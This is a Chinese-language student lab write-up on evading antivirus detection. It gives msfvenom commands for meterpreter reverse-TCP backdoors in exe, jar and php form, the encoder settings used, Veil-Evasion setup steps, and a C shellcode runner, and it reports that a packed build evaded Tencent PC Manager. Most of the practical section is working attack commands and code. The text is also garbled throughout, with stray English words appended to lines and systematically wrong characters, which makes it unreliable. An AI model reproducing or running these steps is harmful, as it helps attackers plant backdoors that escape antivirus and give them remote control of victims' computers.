基础问题回答php
一、杀软是如何检测出恶意代码的?java
(1)基于特征码的检测shell
特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。若是一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。编程
优势:检测效率高、能精确检测恶意软件类型和具体名称。windows
缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。安全
(2)启发式恶意软件检测网络
通常在缺少精确断定依据时,根据些片面特征去推断是否为恶意软件,好比若是一个软件在干一般是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。tcp
优势:能够检测0-day恶意软件(0day是反盗版的打击对象,指在安全补丁发布前被了解和掌握的漏洞信息),具备必定通用性工具
缺点:实时监控系统行为,开销稍多,没有基于特征码的精确度高网站
(3)基于行为的恶意软件检测
基于行为的检测至关因而启发式的一种,或者是加入了行为监控的启发式。
优势:可发现未知病毒、可至关准确地预报未知的多数病毒。
缺点:可能误报、不能识别病毒名称、实现时有必定难度。
二、免杀是作什么?
即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。
三、免杀的基本方法有哪些?
1)变形特征码:
(2)改变明目张胆的行为:
改变通信方式
1. 实践内容
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其余文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.1.1 使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
扫描结果以下图 :
能够看出不加任何处理的后门程序可以被大多数杀软检测到,下面咱们用msf编码器对后门程序进行一次到屡次的编码,并进行检测。
一次编码使用命令: -e 选择编码器,-b
是payload中须要去除的字符,该命令中为了使'\x00'不出如今shellcode中,由于shellcode以'\x00'为结束符
-i
设置迭代次数msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.208.129 LPORT=5318 -f exe > met-encoded10.exe
将编码十次后的可执行文件上传到VirusTotal扫描后结果以下:
可见屡次编码对免杀没有太大的效果.
1.1.2. msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> sxx_backdoor_java.jar
生成文件以下所示:
使用Virscan这两个网站对生成的后门程序进行扫描结果以下:
msfvenom生成jar文件没有发现病毒,我以为很神奇。我也不知道为何。。。。
3. msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> 20165318_backdoor.php
生成文件以下所示:
扫面结果以下图:
一样,msfvenom生成php文件 也不报毒。
4. 使用veil-evasion生成后门程序及检测
安装veil(参考学姐的)
输入veil
指令;
用use evasion
命令进入Evil-Evasion;
输入命令use c/meterpreter/rev_tcp.py
进入配置界面,以下图;
设置反弹链接IP,命令为:set LHOST 192.168.33.132
,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT 4322
输入generate
生成文件,接着输入你想要playload的名字:veil_c_4322
如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_c_4322.exe
检测一下:
5. 半手工注入Shellcode并执行
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.33.132 LPORT=4322 -f c
用c语言生成一段shellcode;
.exe
,而后将unsigned char buf[]
赋值到其中,代码以下:unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 此处省略 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
扫描可执行文件结果以下:
使用压缩壳(UPX)
给以前的hyt.exe加个壳获得sxx_upxed.exe:
对该可执行文件进行扫描,结果以下:
依然会被查杀。。。。
1.2 经过组合应用各类技术实现恶意代码免杀(0.5分)
经过组合应用各类技术实现恶意代码免杀
发现电脑管家并无查杀到该可执行文件。。。。免杀成功!
(首先用msf生成可执行后门程序,再使用加密壳、压缩壳实现了免杀。)
1.3 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
注意:因为换了网络,IP地址会发生变化,全部的程序都须要从新生成
实验环境:腾讯电脑管家13.3.20237.212.
2.实践总结与体会
2.1实验总结
从实验中知道了仍是不能太依赖杀软。加壳基本上没什么用,使用veil-evasion将payload从新编译还能够,经过本次实验仍是以为360杀毒软件比较厉害。
2.2开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止电脑中恶意代码,可是大部分仍是能够被查杀。